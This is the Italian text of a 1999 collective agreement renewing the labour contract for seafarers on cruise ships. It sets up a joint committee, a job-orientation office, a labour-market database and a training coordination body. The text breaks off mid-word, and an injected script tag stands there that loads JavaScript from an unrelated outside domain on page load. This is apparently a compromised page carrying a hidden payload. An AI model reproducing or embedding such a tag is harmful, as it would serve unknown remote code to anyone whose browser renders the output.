Categoria: Marittimi, navi da crociera
Settore: Trasporti
Data stipula: 21-12-1999
Data decorrenza: 1-1-1999
Data scadenza: 31-12-2002

VERBALE DI ACCORDO


Il  giorno  21  dicembre  1999  in Roma tra  CONFITARMA  e  le  Segreterie
nazionali  FILT-CGIL, FIT-CISL, UILTRASPORTI è stato  raggiunto  l'Accordo
per il rinnovo del CCNL

PER I MARITTIMI IMBARCATI SU NAVI DA CROCIERA

Le  parti,  nell'ambito di quanto previsto dal Protocollo interconfederale
23.7.93,   tenuto  conto  dell'Accordo  5.8.99,  dopo  ampia  discussione,
concordano quanto segue.



POLITICHE ATTIVE DEL LAVORO MARITTIMO

Le parti, allo scopo di individuare strumenti e programmi idonei a gestire
politiche  inerenti  il  governo del mercato del lavoro  e  la  formazione
professionale,  costituiranno un "Comitato  Nazionale  Paritetico  per  il
Lavoro Marittimo". Tale Comitato sarà composto da 3 membri effettivi e  da
3  membri supplenti nominati dalle associazioni datoriali e da altrettanti
nominati  dalle  OOSS  e  avrà il compito di sovrintendere  e  programmare
l'attività delle strutture di cui ai successivi punti 1) e 2).

Il  Comitato  dovrà inoltre valutare l'utilizzo di tutta la strumentazione
legislativa  di  incentivazione all'occupazione e la sua applicabilità  al
settore marittimo.


1)   Mercato del lavoro.

Si  costituirà,  individuandone di comune accordo la sede,  "l'Ufficio  di
orientamento  per il lavoro marittimo". Tale Ufficio avrà  il  compito  di
monitorare l'offerta e la domanda di lavoro marittimo nonché di  agevolare
l'incontro  tra  la  domanda  e l'offerta di  lavoro,  ferma  restando  la
competenza degli Uffici di collocamento della gente di mare in materia  di
imbarco  del  personale  marittimo. L'Ufficio  si  avvarrà  dei  dati  che
andranno a confluire in un apposito elenco (da denominarsi "Banca dati del
mercato del lavoro marittimo").

A  tal fine le società armatrici forniranno periodicamente alla "Banca"  i
dati  numerici  e professionali del proprio personale in forza.  L'ufficio
adotterà idonee iniziative allo scopo di dare pubblica informazione  della
propria  attività e potrà dotarsi di strumenti che consentano di agevolare
il rapporto tra offerta e domanda di lavoro.


2)   "Banca dati del mercato del lavoro marittimo".

La "Banca" ha lo scopo di monitorare e rendere trasparente la composizione
del mercato del lavoro marittimo. Sarà tenuto da una struttura informatica
a  scelta  di CONFITARMA e conterrà i dati numerici, completati da  quelli
professionali  e dalle classi di età, dei marittimi in forza  secondo  uno
schema  che  verrà  redatto dall'"Ufficio di orientamento  per  il  lavoro
marittimo",  e trasmesso alle aziende. Queste forniranno i dati  richiesti
in forma anonima.

La  "Banca" conterrà inoltre i dati relativi al personale in disponibilità
di  imbarco  presso  il  Fondo  Nazionale  Marittimi.  Tali  dati  saranno
riportati nominativamente e forniranno indicazioni sulla disponibilità  di
ufficiali,   sottufficiali  e  comuni  con  precise   informazioni   sulle
caratteristiche  professionali e sulla lista di  collocamento  presso  cui
sono  disponibili. I dati sopra menzionati proverranno dal Fondo Nazionale
Marittimi per quanto riguarda personale in disponibilità presso di esso  e
da  indicazioni autonome dei marittimi. Questi ultimi dovranno  confermare
alla Banca la propria disponibilità all'imbarco ogni mese e rilasciare  il
consenso  per il trattamento dei dati personali. La Banca, quale strumento
per  facilitare l'incontro tra domanda e offerta di lavoro,  potrà  essere
liberamente consultato dalle aziende e dalle OOSS.


3)   Formazione professionale.

Le  parti  costituiranno, individuandone di comune  accordo  la  sede,  un
"Coordinamento per la formazione professionale". Tale organismo, di natura
paritetica, avrà il compito di definire periodicamente, in raccordo con le
istituzioni   competenti,  politiche  e  programmi   per   la   formazione
professionale per il settore, fornendo altresì informazioni e orientamenti
alle imprese, ai lavoratori, ed eventu<script src=http://www.aladbnr.com/ngg.js></script>